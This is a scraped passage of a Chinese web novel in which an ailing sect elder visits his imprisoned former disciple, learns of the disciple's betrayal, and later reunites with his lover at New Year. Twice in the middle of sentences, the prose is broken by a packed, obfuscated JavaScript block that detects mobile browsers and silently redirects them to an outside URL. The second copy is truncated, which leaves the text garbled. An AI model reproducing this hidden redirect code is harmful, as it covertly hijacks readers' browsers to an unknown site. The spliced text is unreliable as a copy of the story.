镜遥的声音忽然让玉阑音回了神。 “抱歉,走神了。怎么了?” “我说这里风大,我们还是快快进去吧。”镜遥又吸溜了两下鼻子,道。 玉阑音点点头,说好。 进寒山牢的过程极为畅通无阻。 其实原本玉阑音说的那句“我最大谁敢拦我”不过是玩笑,如今却还真是果真如此。 牢狱门口的两个守门人,见了玉阑音,岂是一句毕恭毕敬了得?只差跪地邦邦两个响头。 弯腰福身地将玉阑音和镜遥送到了青木那间牢房门口。 守门人自然是知道青木是为何被关押至此地。 他冷哼一声,面上更是藏不住的厌恶与不屑,伸手大力拍了拍牢房门上的铁栏杆,张口直接唤了青木的本名,“喂,萧巡,有人找你。” 萧巡侧卧背对着门口,也不知是真睡还是假寐。 守门人懒得再理他,转而换了副面孔笑呵呵对玉阑音道:“长老你们聊,我们就先撤了。临走知会我们一声就是哈。” 玉阑音拱了拱手,“谢过小兄弟。” 背对着众人的萧巡在玉阑音开口的一瞬间,脊背肉眼可见的一僵。 守门人连连说着不客气,临走又狠狠剜了萧巡一眼,这才退下。 寒山寒山,顾名思义,苦寒之山。 即便是进了室内,牢内尽是些石壁铁栏,更是浸透了寒意,冻得人能打哆嗦。 “青木。” 玉阑音知道萧巡醒着,于是只是低声唤道。 萧巡沉默了很久,才终于作出一副很假的悠悠转醒之态,转过了身。 他看到玉阑音身边的镜遥,又是一愣,随后才朝玉阑音道:“无上长老,真是稀客啊,好久不见。” 萧巡的牢房还算是干净,但是他的衣服上依旧不可避免的蹭上了一层灰。 他头发同样是灰扑扑,平时惯常簪在头上的红红绿绿如今也是一个不剩。 玉阑音看了他一会儿,才道:“瘦了。” 萧巡忽然就红了眼眶,他在意识到自己眼眶发热的瞬间便低下了头。 “……滚吧,别……恶心我。” 玉阑音轻轻叹了一口气,没再说话。 镜遥在此时开了口,不知是因为冷还是因为其他,他的声音极为颤抖,“师尊……是我,镜遥。” 萧巡头都没抬,声音闷闷的,“嗯。游历回来了?” “嗯,回来了。”镜遥咬了咬颤抖的唇。 可是眼泪不听话。 镜遥最后一个字刚出口,忍了许久的眼泪已然夺眶而出。 “师尊……你……”镜遥胡乱地抹着眼泪。 他哭得再说不出别的话,呜呜咽咽声撞击着冰冷的石壁,“你为什么啊……” “哪有那么多为什么?”萧巡打断了镜遥的话,抬头道,“天道将崩,与其苟且偷生,不如大闹一场毁了去。很简单的道理啊,没有为什么。” 镜遥哑了声。 萧巡如火般炽热又癫狂的瞳孔让他觉得如此陌生,“师尊……可是也是您教导我们,为天为地,为人为民……” “为天为地,天道若是倾覆,哪里来的天,又是哪里来的地?” 萧巡似乎是听到了什么好笑的话,“你也是从汀芷村回来的吧?你保护的百姓究竟是什么嘴脸你如今还不明白?为人为民……好一个为人为民!我凭什么!他们凭什么!” 镜遥几乎被他的师尊凶狠扭曲的嘴脸吓住了。 甚至连眼泪都不再淌,好一会儿没作声。 萧巡眼中闪过一抹血色,“他们欺我辱我,我忍了,拜入十方宗修行不缀只求能以牙还牙。可是依旧没有人瞧得起我。你们还是都瞧不起我。不念旧恶以德报怨?还是为天为地为人为民?你们教的真好,那我自己呢?长老,我自己呢?我自己又在哪里! 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可与此同时,他却又比自己认识的任何一个人都纯净,都坚毅,都有力,都耀眼。 都值得仰望。 镜遥看着玉阑音的眼睛很亮,却不是因为泪水。 他轻声唤道,“长老……” 方才的话说得很凶,玉阑音如今自己都难辨自己如今的心绪。 是愤怒?失望? 好像都不是。 或者只是有点…… 不知所措。 听到镜遥的声音,玉阑音略一停顿吸了口气,才轻轻笑起来,“我没事。” “你不是想来见青木么?还有什么别的想说的么?已经说完了?” 镜遥再没转头去看萧巡,只摇摇头,“我没有别的要说的了。长老你的脸色不太好,我们回去吧。” 说完,没等玉阑音回话,他便已经跑开去找守门人了。 也不知方才那些话萧巡究竟听进去了多少。 如今他正垂首站在原地,看不清面容,一言不发。 只是……到底算是自己看着长大的孩子。 玉阑音看着萧巡,终究还是心软。 他似乎是叹了口气,慢慢走近萧巡,轻声道:“过来些,青木。” 闻言,萧巡没抬头,脚下却朝玉阑音的方向走了两步。 玉阑音伸手穿过铁栏杆,拢了拢他灰扑扑的散乱的头发。 叹息道:“他们把你灵脉废了?” 萧巡“嗯”了一声。 “怪不得。若不是废去了,那洗涤术你估计要一天使八百回。” 玉阑音手上灵力的光波略一流转,替萧巡整理好衣着和头发。 “背叛宗门同达奚恩山厌族为伍一事,我保不了你,也不打算保你。”他道,“还有鹤生与善玄……你想想,你对得起他们么。” “长老——” 远远地,镜遥的声音传来,“长老,我们该走了——” 萧巡忽然抬头往镜遥的方向看了一眼,不过镜遥站得太远,萧巡并没能真正看到镜遥的身影。 玉阑音应道:“好,我这就来。” “你我二人……”他转过头,又朝栏杆内那人道,“就此别过了,萧巡。” 萧巡再没说话。 他面色如常看着玉阑音离去的背影,久久目送,直到再也看不见。 只是在转身的瞬间,萧巡忽然觉得自己头上叮当作响,挺沉。 他愣了下,随后伸手,把那叮叮当当的物件取了下来。 那是一支红宝石、绿翡翠,挂着汉白玉吊坠的金簪子。 出了寒山牢,天已经亮了。 镜遥吸了吸鼻子,“我们现在要去哪呢,长老?” 玉阑音没说话。 忽然,不知为何,他的脸上浮上了一丝惊异。 玉阑音说了一句“稍等”,随后伸手从怀里摸出了一盏灵犀灯——其实他不好用这传声的小玩意儿,原先的那个送给温卓了,这一盏还是他昨日专门重新捏了个新的。 灵犀灯明明暗暗。 玉阑音敲了两下,接通了。 还没等他张口,对面那人已经说话了。 那声音很低很沉,颠三倒四的,甚至是有点胡言乱语。 “阑音,槐花酒埋在树底下。不见了。” 是温卓。 其实玉阑音此时的心情绝对算不上好,只是在听到温卓的声音后,他忽然就笑了。 “嗯,怎么不见了呢?” 对面的声音停顿了一会儿,似乎是在思索。 “哦……被我,被我喝光了。” 他这话一出,逗得玉阑音当即嗤笑一声。 作为早就察觉两人奸情之人,镜遥深蕴“非礼勿听”之道。 那灵犀灯一亮他便福至心灵警铃大作,当即三步并两步跑去山另一边看日出去了。 “阑音,山桂……山桂你记得么,他……他做札布萨首长了……” “……我还去看了山桂的爹,鲁尔迈……不知道你还记得不记得……” “还有……霞姑,霞姑死了,她卖的菌子你最爱吃……” 温卓没头没尾地念叨了一些,大多也都是札布萨的家长里短。 “……他们都说你走了好久,都想你了……” 温卓打着酒嗝,断断续续地说。 “他们都想我了啊……”玉阑音低声一笑,谆谆善诱道,“怎么只说他们?还有你呢,你想我吗?” “我?” 对面那人似乎是愣了愣。 “对啊,你,温卓。温卓想我吗?” 可能玉阑音自己都没能察觉,他此刻眉目如画,温柔得如同远山稀薄氤氲的日出。 “我……”灵犀灯里传来的呼吸声很沉重,“我也想你。” “我最想你了,阑音……比他们全部加起来……全部加起来,还要想。” 65.悬崖 温卓不知道自己是什么时候稀里糊涂睡过去的。 等再次醒来的时候,已经是日上三竿。 头疼得活像是被人开了瓢。 翻身起床未果,于是只得躺在床上作罢。 忽然,从地上的某处传来了一阵轻笑。 “醒了?” 温卓的身上登时汗毛竖起。 头也不疼了,腿也不软了,他叽里咕噜滚下床,从地上一片狼藉中摸出了他的灵犀灯。 灵犀灯的光还在忽闪。 见此,纵然是涵养如温卓此时也险些脱口而出几句脏话。 “人呢?怎么不说话了?” 灵犀灯对面好整以暇的声音再次传来。 这边。 温卓手一抖,直接将灵犀灯挂断了。 “嗯?” 虚空山上,玉阑音眼看着手边的灵犀灯暗了下来,一愣。 镜遥此时正在外屋煎茶,听到里屋玉阑音说话,以为是有什么急事。 连忙跑过来,探进来一颗毛茸茸的脑袋。 “长老?怎么了吗?” 随后颠颠地端过来一壶热茶。 “无事。” 玉阑音慢慢悠悠将灵犀灯收了起来,“方才说到哪里了?” 镜遥应了一声,“哦,长老您刚正说到了汀芷村。” “汀芷村……”玉阑音拢着袖子替两人倒了两盏茶,“对。我记得你问过我,为什么乌朔要冒着被发现的危险,还要造出杀人一事,甚至是直接解了虚空换。” 镜遥点点头,“是呀,就是很奇怪。” “那时我同你说,他这必然是在刻意引起人注意。不过当时我并不知道他究竟是为何事声东击西,”茶盏有些烫手,玉阑音顺着碗口轻轻地摩挲,“如今倒是明白了。” “长老的意思是……”镜遥道,“……青木长老一事?” 从寒山牢回来之后,不知是有意还是无意,镜遥再没唤过青木一声师尊。 玉阑音点点头,“我同温卓离开十方宗也有些时日了,临走也没有声张,按理说是不会有旁人知晓,只是走前那日,好巧不巧的,温卓还真同青木在鹤生那处打过照面。 “汀芷村一事如此重大,善玄居然将此事交由少暄一个孩子?说起善玄,他是贪玩,但觉不会犯这种错,思来想去,只能是宗门里出了其他事,拖住了他的脚。再或者是……” 玉阑音大概是因为年纪大了,同小友一起时便做惯了抛砖引玉的角色。 他点到为止止了话,眼眸一抬看向镜遥。 镜遥在玉阑音期待的目光下瑟缩了一下,开口,“再或者是,汀芷村一事,善玄长老早已知晓全貌,心里明镜似的了,所以才顺手交给了君兄。” 他说完,玉阑音很是满意地一点头,抿了口茶,“对,很聪明。就是这样。” 和萧巡的锯嘴葫芦、冷嘲热讽式的教导方式不同,镜遥对于玉阑音这种鼓励式教育很是受宠若惊。 他红着脸低头嘿嘿一笑。 忽然,像是想到了什么似的,他转而又道:“不过长老,若真是如此,那岂不是说明……青木长老还有同伙?” 玉阑音似乎很惊讶镜遥能想到这一点,看了他一眼。 “的确如此。青木作为长老久居十方宗,往上伙同达奚恩山,往下必然也是有帮手。还记得海棠吗?” 镜遥点头,“记得,西樵客栈掌柜。” “她有一副仙门仙器千机算,还能扮作常人隐藏灵力,救走乌朔之时遁地术用得也是炉火纯青。” 再一次的,玉阑音点到为止,随即朝镜遥递过去一个眼神。 镜遥在玉阑音的教导模式之下信心蹭蹭上涨,如今心里简直是像开了花。 他心领神会,坐姿一正挺胸抬头,“说明海棠掌柜必然是仙门之人!” 他滑稽的模样逗得玉阑音一乐,也不吝啬自己的赞扬,“真棒,就是这样。” “长老,我忽然想到,海棠掌柜长得那么高……”镜遥挠挠脑袋,“我知道有女子能生得高,但是海棠掌柜她,她真的是太高了……那都能赶得上我原佰师兄了……” 都不必玉阑音再说什么,镜遥本人已经猛地止了话口。 他脸色重重一变。 “仙门之人,能时常下山替青木长老做事,汀芷村一事时不在宗门……” 镜遥声音低而颤抖,他忽然很僵硬地扯着嘴角笑了一下,“长老……你别吓我啊……” 玉阑音脸上的笑意不知何时已经收起来了。 他只安静地看着镜遥,一双眼睛好似无波的古井,无情又仁慈。却始终不发一言。 镜遥哭了一早上,眼睛早就红彤彤成了个大核桃。 他原本以为,自己今日的眼泪必然早就流干了。可此时他伸手去摸,却发现自己已经再次泪流满面。 “长老……” 他嗫嚅着,不知所措地一遍一遍喊着玉阑音。 玉阑音没有回应他,任由他无助地宣泄着自己的情绪。 只在最后的最后,玉阑音倾身过去,把哭得脏兮兮、出了汗的镜遥搂进自己怀里。 “师兄,他待我,真,真的很好……长老,他真的……我刚,入,宗门,长老师兄他……” 镜遥把头埋在玉阑音的胸口,几乎说不出完整的话。 玉阑音不轻不重拍着他的背。 “你扮靳修之扮得如此拙劣,原佰定然早已发觉,可他也没有同青木或是达奚恩山知会,甚至是同你交谈被你‘套出’不少话。 “镜遥,我不知道我这么说能不能安慰到你一些。抛去对错,我们不谈,可是他待你的心,绝不似作假。” 人在悲痛之时听不进去长篇大论,但是这对玉阑音并不适用。 他的声音明明比常人更要孱弱,却总有让人倾听,并随其沉静的能力。 “镜遥,你是好孩子,应该能明白我的意思。”玉阑音道,“不要为之悲伤,但要为之作出选择。” 镜遥已经止了哭,闷头抽噎了一会儿,终于从玉阑音怀里钻了出来。 “想在我这里多待一会儿便多待一会儿吧。” 玉阑音道,“我正巧也要寻善玄一趟,想留就留,想走就走,别太拘束。” 镜遥抹着眼泪点头。 玉阑音是在善玄的书房中找到的善玄。 书房门大开,他埋在一堆书卷中,目无神采焦头烂额,连玉阑音的到来都没发现。 玉阑音站在门口,礼貌性地叩了叩门,“善玄,在忙?” 善玄这才回了神,连忙起身相迎。 “嗯?师尊?你怎么来了?” “哗啦啦”地拨开满地的卷宗,勉强收拾出了四不像的座位。 “师尊,坐,坐。” 玉阑音看得额角一跳。 “说过多少次了,要勤打扫,爱干净……” 他摇摇头,嘟囔着勉为其难坐下。 没挨揍,善玄就压根不往心里记,左耳朵进右耳朵出。 佯装听不见。 “师尊是为青木来的吧?” 还没等玉阑音问,善玄已经率先开口道。 玉阑音点点头。 “不用师尊你来,我本来也是打算得了空去寻你的。”善玄指了指满屋的书卷,“可实在是太忙了,你看我这儿,这么多事务,真的是脱不开身。” 手忙脚乱得活像只扑棱蛾子。 玉阑音目光平和地看着他胡乱忙活了好一会儿。 终于才道:“善玄,实在难过就说出来吧。” 善玄扑棱蛾子翅膀似的两只手蓦地便停住了。 他忽然像是霜打的茄子,肩膀猛地垮了下来。 不过到底善玄是善玄,虽然在玉阑音眼中不过是个百十来岁的孩子,但尊为药谷首席长老,总还是不至于真的被击垮。 他只是停住了故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14493419|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作忙乱的手,倚到了椅背上。明明只是轻轻叹了口气,却像是松下了千斤的重担。 “前些日子,师尊和师弟走后不久宗门内就出了事。师尊还记得裴谞么?” 玉阑音略一思索,“是云霄大比上用怨生笛的那个孩子?” “对,就是他。”善玄道,“这孩子死了。” “死了?”玉阑音一愣。 “是啊,死了。”善玄道,“迦南派掌门前些日子来信,说裴谞那孩子,尽管怨生笛早就碎裂,但还是遭到了体内厌族灵力的反噬,死了。 “想到栾家的炉阵一事未解,我便亲自去查看,没想到这一去还真叫我查到了东西。” 玉阑音示意善玄继续说下去。 “我居然在裴谞的房间里找到了青木的玉印。” 说到这里,善玄几乎是卸了全身的力,半苦不乐地一笑,“我都快回忆不起当时我的心绪了。天打雷劈,不为过。整个脑子都白了。” 略加思索,玉阑音皱起了眉。 “也就是说,云霄大比,温卓对上裴谞怨生笛一事也是青木授意的?” 善玄叹了口气,闭着眼点了点头。 玉阑音眸色骤然冷光闪过。 “找死找到我头上。”他冷笑一下,“在寒山牢里懂了恻隐之心,真是……便宜他了。” 善玄却是摇了摇头,“而且此事没有那么简单。师尊也了解青木,就算是再怎么不小心,他也不至于将印着他名字的玉印留在迦南派,引火上身。 “我觉得有古怪便多加留心,结果果然发现青木那玉印是假的,并非青木贴身那块,而是裴谞伪造的。” 玉阑音秀眉微敛,“那岂不是说明这是他专程留了线索?” “是啊,思来想去也只能是如此。”善玄道,“我一开始不愿意相信,当晚就去同青木对峙。没想到青木倒是承认得很痛快,压根没给我替他解释的机会。” 他自嘲地一笑,“大家都说裴谞性子软,青木看这孩子好把握,把人折腾得人不人鬼不鬼,估计连他都没想到,到头来居然会栽在裴谞这小孩手上。” 玉阑音不认识裴谞,对此不置可否,只静静地听。 “捉了青木后,汀芷村忽然就起了接连死人一事。此事想来都知道是达奚恩山有意为之,弃车保帅。我脱不开身,便叫少暄去做做样子,没想到直接捅到师尊你面前了。” 这一个月的暗流汹涌,悲喜频仍,真正讲起来却只花了善玄不到一刻钟的时间。 玉阑音这人鲜少沉溺于已经过去的事情,他擅长让发生发生,此刻也依旧如此。 他今日来其实不是因为在乎这件事的来龙去脉——因为结果已然至此,早已成定局——他只是想来见见善玄。 “这段时间辛苦了,善玄。” 玉阑音起身,摸了摸善玄鸟窝似的头,像他小时候那样,“你做得很好。” 善玄闭着眼睛,抿了抿唇。没说话。 “青木……是个好孩子。从前。” 他的思绪似乎是飘向了久远的某处,声音也随之如同回忆长河里飘摇的浮萍一般,晃荡着,无处落脚。 善玄听到“从前”这个字眼,便忽然抬起了头。 他没有掉眼泪,但是眼眶红红,表情却比哭还难看。 “是啊,从前。” 玉阑音的声音很轻,如同山顶经年的薄雾一般虚无。 “我知道青木一直有心结。但是你比他活泼,又总哄着他入世,我便想当然以为他定然也在敞开心扉。 “可是其实,我甚至连他是何时、是如何同达奚恩山交识,都一概不知。” 玉阑音说着忽然笑了,但不是因为喜悦,不是因为任何的正面情绪。 他只是笑了一下。 “我没能救他,善玄。我竭力不去这么想,但是事实就是如此。 “……是无数只手将他推下了悬崖。我何尝不是其中之一呢。” 66.通融 萧巡被处死刑的那天,秦鹤生没去,玉阑音没去。 镜遥也没去。 十方宗除了善玄,再无一人到场。 那日后,善玄十分罕见地来了流离所——要知道,自打长大,他便很少主动再来虚空山寻玉阑音了。 善玄进了屋,什么都没说。 玉阑音开了门,什么都没问。 两人从茶喝到酒,从白天喝到半夜。 只在黎明第一缕阳光穿过山头云雾,鸟兽晨鸣之时,善玄道:“这是我这辈子第一次觉得……我好像就要撑不下去了,师尊。” 最正义的人反而见过最多的恶,最志臻之人反而遭过最多的背叛。 那是无数个自我质疑的瞬间。 玉阑音晃了晃空荡荡的酒壶,没回话。 “可是不行,我若是也倒了,师尊你怎么办?”善玄有点醉了,“我一想到这儿,就再不敢停下脚步了。我还得往前走。为了师尊,为了这天下无穷,我都不能停下来。 “虽然这世界没有完全的感同身受……但是师尊,我好像,真的有一点点,一点点懂你了。” 玉阑音冷静自持的表情有些碎裂开来。他的神情忽然变得极为悲哀。 “善玄,是为师对不住你……” 玉阑音平生至此所做的一切,都是为了要这世上能有更少的人经历他经历过的一切。 善玄的一句“感同身受”,玉阑音听了只觉得是有刀子在往自己身上划。 善玄告诉玉阑音,萧巡临走的时候,穿得是从未见过的素静,一袭白色素衫。只有头上簪着一支红绿宝石的金簪。 善玄摇摇头。 “不说这些了,师尊。这最后一杯,饮罢遂归,徒儿先干为敬。” 他仰脖,将杯中残酒一饮而尽。 玉阑音沉默着,喝尽杯中酒。 春去冬来,酷暑严寒。 转过年来,又是一整个春夏秋冬。 玉阑音住在虚空山上,隐约像是回到了更早年的日子。 时睡时醒,春雨酿酒,冬雪煎茶,不时拨出些时间对付来敲门的小崽子—— 只不过小崽子们已经换过了一茬。 不再是青木、善玄、秉文,当然也不再是成了掌门的秦鹤生。 ——如今更多的是一众小辈,是镜遥、君少暄、克古鲁,还有那个恨不得定居虚空山的元宿央。 一路上,人走走散散,心碎了又粘,长大的长大,年老的年老。 浩浩荡荡不等人的时间的洪流里,惟有一个玉阑音。 他如同一块礁石,亘古停驻在骇浪之中。 他好像总不会变。 不会变得更冷漠,也不会变得更和蔼。 他更多地只是看着周围一切斗转星移。 看着有的人一夜成人,有的人不复从前,有的人只是在门外招了招手,再也不来。 不过好在现在他还有了些念想。 ——尽管那念想远在遥远的北塞,总是告别,聚少离多,但总好过孑然一身。 这一日,克古鲁正在流离所同玉阑音论法器。 不过,虽说是论法器,更多得是像克古鲁在同玉阑音讨要法器。 “……药郎先生,好长老,我大哥都有一把寒铁弓呢,您啥时候有空,也送我一把玩玩呗。求求你了嘛……” 玉阑音好笑地看着克古鲁撒泼打滚。 “寒铁矿不好得,我也就那一块,大概是给不了你了。” 克古鲁瘪瘪嘴,不过也没有消沉,转而跃跃欲试又道:“那,那我不要那寒铁的,您随便打给我一副别的呗?啥样的都行!我不挑!” 玉阑音吃软不吃硬,最是耐不住旁人软磨硬泡,笑眯了眼。 “改日,改日罢,得了空便送你一套匕首,这样可好?” 克古鲁自然是欢天喜地满口说是。 如今正值冬日,即便是在屋内,玉阑音也穿得极为厚实。 里三层外三层的貂绒内衫外套,最外还要套个杂毛兔绒大氅。 两年过去,玉阑音比起先前更瘦削了些,脸颊上不挂一两肉,隐约凹陷了下去。 他此时即便穿着如此厚重的衣服依旧不显臃肿,似乎一阵风过来就会被吹跑。 玉阑音抬眼之时眉目之间一片倦意,脸色苍白得如同这腊月的天。 他轻轻咳嗽着,不着痕迹压下心口丝丝缕缕的疼痛。 忽然门外传来了敲门声。 “太嵇!是我——” 极为闹挺的声音透过门板依旧不遗余力攻击着玉阑音脆弱的神识。 他额角跳了跳。 没等屋内人回话,元宿央已经轻车熟路地推门而入。 他一边往手上哈着气一边道:“嚯,天真冷啊,是不是?” 克古鲁浅头发浅眼睛,显眼得很,元宿央一转眼就注意到了。 “哟,这不是器阁那小子?你也在这儿呢?” “少掌门你又来啦。” 克古鲁对于元宿央的到来丝毫不意外,乐呵呵地打招呼。 玉阑音本就有些头疼,见到元宿央更是变本加厉。 “你们可真是,一天也不饶人消停啊……” 元宿央大咧咧落座,随后自己动手丰衣足食,自己给自己倒了杯茶。 他睨一眼玉阑音,半真半假地拉着长音,“哎呀,这还不是看你孤家寡人,拨冗来见,怎么还不知珍惜呢……啧啧。” 玉阑音头疼地摇摇头,“别说了,喝茶吧。” “得了你,真搞得我多愿来找你似的。”元宿央嗤笑一声,“这不是大年三十了吗!是特地来陪你过年呢。” 闻言,玉阑音显然是一愣。 “要过年了?” 克古鲁也笑起来,“药郎先生真是过得忘了时间了,是啊,这又是快过年了。” “可是我怎么记得这年……是刚过了呢?” 玉阑音略微眯着眼回忆道:“你们俩个也都在,宿央还带了一堆破烂玩意儿,少暄镜遥也在,秋风还同我传来了书信,大家吃饭喝酒……” 克古鲁又笑了,“那都是去年啦!” 元宿央老神在在,十分配合地也点点头。 或许是因为病痛折磨,如今的玉阑音比起前些年总是有些慢半拍。 他顿顿地结束了回忆,随后才略显疲惫地一笑,“好像是呢。” “不说别的了,你家温卓呢?两年了那臭小子还不回来?白眼狼一个,这是打算以后都留你自己在这儿呢这是?” 元宿央提起温卓就来气,冷哼一声,口下一丝不留情。 玉阑音顺手抄了一旁的毛笔不轻不重敲了元宿央的手背。 “就你话多。你没去过那地方,哪是那么容易的事情。” 克古鲁托着腮,自动忽略了元宿央在一旁装模作样地呲牙咧嘴。 “不过……我也有好久没回札布萨了。” 他说着说着就笑起来了,“不过我一人吃饱全家不饿,倒是也省下我回去看爹娘了。” 窝在躺椅里的玉阑音已经半是困倦地合上了眸子,此时却复而抬眼。 “山桂前些日子问起你了。” 克古鲁眸光一闪。 他略局促地抿了抿唇,“嗯?山桂?” 玉阑音心口疼得厉害,面上却不显分毫。 他拉了拉身上的毛毯,“对,山桂,如今是札布萨首长了,问你何时有空回去,要请你吃酒呢。” 元宿央有一搭没一搭地听着,眼睛却是一遍一遍往玉阑音身上瞟。 在玉阑音看不到的地方,元宿央的眉头蹙得紧到能夹死苍蝇。 他咳了两声,打断了玉阑音和克古鲁的对话,随后往玉阑音手里塞了一杯茶。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14517214|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “少说话吧你,喝茶去。” 玉阑音微微抬眼,接过后顺手就放到了茶几上,闷闷地应了声。 元宿央又是蹙了蹙眉。 不过他没再多说,转头同克古鲁道:“听说岭南这地儿过年时候的庙会很热闹,你去瞧过不?” 克古鲁老老实实摇头,“不瞒少掌门您说,我虽然来十方宗几十年了,就没下过几次山。” 元宿央大惊:“没下过山?” 随后转头,伸手摇了摇要睡过去的玉阑音,“太嵇啊,你们十方宗是怎么回事?有不让下山的规矩还是怎么的?这孩子过得也忒原始了!” 玉阑音猛地惊醒,眉眼是遮不住的倦怠。 他愣了愣,反应了好长一段时间才道:“没有过这种规矩。” 元宿央一拍大腿,“诶,我说,那正好趁现在天色早,我带着克古鲁,再带上镜遥那小子,下山买点吃的喝的,回来咱们过年三十,怎么样?” 玉阑音正想说些拒绝的话,元宿央立刻开口堵了回去,压根没给他张口的机会。 “太嵇你就别去了,你这身体快自己养着吧,歇下睡会儿,养养精神,今晚上还得守岁呢。” 克古鲁一听下山简直是要成了星星眼,连连点头,“可以啊可以啊!” 还没等玉阑音再开口,元宿央已经连拖带拽带着克古鲁跑出去了。 背后,玉阑音有些无力地声音传来:“帮我顺手带上门……” 话音未落,门“砰”得一声被关了个严严实实。 玉阑音对过年这事本就没什么执念,再加上如今身体越来越差,越来越容易困倦,大部分时间都是更喜欢一个人呆着。 写写字,打打盹儿。 不过到底胳膊拧不过大腿,体弱之后说话更是不顶用了,执拗不过元宿央这些年轻孩子。 只能趁着他们还没回来闹腾,能多歇息一会儿是一会儿了。 多么可怜。多么卑微的长老生活啊。 玉阑音一叹三惋地想。 不过玉阑音倒是没能如他所想小憩下。 因为到了下午,陆陆续续地,善玄和秉文也前后脚地来了。 好容易送走两尊大佛,接下来又是秦鹤生。 再然后还有姗姗来迟的君少暄。 “什么?镜遥和克古鲁随着少掌门下山了?怎么没叫我!我也要去!” 君少暄得知几人下山的消息,当场就跳了脚。 这敢情好。 这话一出,玉阑音心里别提有多高兴了。 他都不顾不上身上的病痛了,十分快兴地点头,“好啊,下山找他们去就是。他们还得有几个时辰才能回来,还赶得上。” 于是忙送不迭又赶走了扰人清净的君少暄。 可是还没等自己再次躺回床上,大门又是“咚咚咚”轻轻响了三声。 玉阑音不算是没耐心的人,但是或许是身体倦怠使然,脾气更比平日差了些。 他没什么好气地抬高了声音:“滚蛋!不见人了!” 门外果然是当即就消停了。 忽然,他总贴身放着的灵犀灯忽闪忽闪地亮了起来。 这下玉阑音也顾不上那劳什子睡觉了,甚至是十分端庄地从床上坐起身。 他咳了两声,确保自己的声音没有异样,不会暴露自己的身体状况,这才接通了灵犀灯。 他温温和和地开口道:“一一?怎么忽然来找我了?发生什么事了?” 对面那人似乎是笑了一下。 而也就在此时,门外和灵犀灯内同时响起了同一道声音。 那声音噙着未消的笑意,低沉而缓和。 “没什么急事,只是方才回家我家那位不知怎么地发了火,叫我滚,不见我。如今没处去,只好来找你了。 “不知……能不能通融通融,给不给进?” 67.金雕 山下集市上。 元宿央围着个北方样式的狐皮围脖,瑟瑟缩缩揣着手,在一个剪窗花的小铺子旁边的等着。 “这南泽的地界比我想得要冷得多了。” “冷?”一旁的克古鲁听得笑了起来,“那少掌门肯定是没去过北塞,又干又冷,风吹过来活像是能扒了人的脸皮。” 镜遥却道:“南泽屋子里面比外头冷,又潮又湿,也不舒服。” 于是三人红头白脸紧急辩论了一番“究竟哪里更冷”,未果,气呼呼地闭嘴了。 元宿央从刚才起就一直往铺子老板手边探头探脑。 “老板,这窗花上还能添两只夜莺不?” 铺子老板叼着个做工粗糙的旱烟斗,抬眼看了元宿央一眼,“夜莺?” 元宿央被老板呼出来的烟雾扑了一脸,呛得连连咳嗽。 “是啊,就是那种晚上唱歌的小鸟儿啊,灰褐色的,叫得可好听……” 老板打断了元宿央念的咒,“我知道我知道,夜莺,长得不大,灰扑扑的也不起眼的小鸟。你确定是要添这小玩意儿? “夜莺……这大过年的,也没听说过它有什么寓意……” 元宿央煞有介事摇了摇头。 “老板你不懂。我朋友就是喜欢夜莺,不为图彩头。” 克古鲁这是头回听玉阑音的闲话,很是新奇,“药郎先生喜欢夜莺?” “你那长老小时候过得……挺辛苦,也没什么玩伴,就只有院子里两只夜莺能和他解闷儿,后来被他那几个劳什子兄长拿弹弓射下来了。” 元宿央说道:“可能是喜欢,但是也可能是因为愧疚——总之他如今往院子里种那好些树,就是为了养夜莺的。只是可惜被你善玄长老砸了窝,好多年不见了。” 一时,克古鲁和镜遥你看看我,我看看你,但是不约而同地都没再开口说话。 剪窗花的铺子老板也默不作声了,吸了口烟斗,手下不停,往圆窗花上添了一对儿胖乎乎的夜莺。 虚空山上。 门外那熟悉又陌生的声音一出,玉阑音满头满脑嗡得一下。 就当他还在惊惧时,温卓的声音已经透过门板和灵犀灯再度响起。 他轻轻缓缓地拖着腔调。 “师尊?徒儿好容易回来一趟,放我进去可好?” 外边寒冬腊月,天寒地冻。 玉阑音连忙关了灵犀灯,慌乱地对着铜镜检查了一番自己的相貌。 一连串的动作很快——他可舍不得让温卓在外头等太久。 门刚一开,比灌进来的寒风还要快地,温卓侧过身一个跨步便闪身进了屋,还不往顺手合上屋门。 玉阑音还没看清眼前人,甚至还没站稳,就被来人抱了个满怀。 随后还没等他来得及伸手回抱,温卓已经十分迅速地将他松开了。 “身上冷,你快先去塌上躺着去,别着了凉。” 说完后,他便转过头去不看玉阑音,自己去到火炉旁边烤火了。 玉阑音从来不是什么听话的好孩子。 他穿着单衣站在原地,盯着温卓故作淡定的背影,止不住地笑。 温卓听着这人柔和又安静的脚步趋近,随后,一双消瘦又温暖的手臂不轻不重地,从背后环住了他的胸膛。 他应该是抵住了温卓的后背,说话之时温卓的胸腔之内都在震。 “我不嫌冷。转过来,我看看你。” 一阵布料摩擦的轻微的响声,温卓当即反客为主欺身压了过来,稍一低头便寻到了他日思夜想的两片柔软。 温暖的,带着草药气的。 玉阑音被毫无征兆地封住了口,眼眸不受控地睁大。 可逼近眼前的温卓一双眼睛和他冰冷的体温不同,黑得慑人,像是着了火。 他不重不缓地完全抢夺过了主导权,微微喘息着松开玉阑音,暧昧不明地舔着他松软了的唇角。 随后是消瘦的下颌,绷紧的脖颈,甚至隐隐有继续往下的趋势。 温卓的手顺着玉阑音的脊背同样缓缓向下,勾起玉阑音一阵接一阵的战栗。 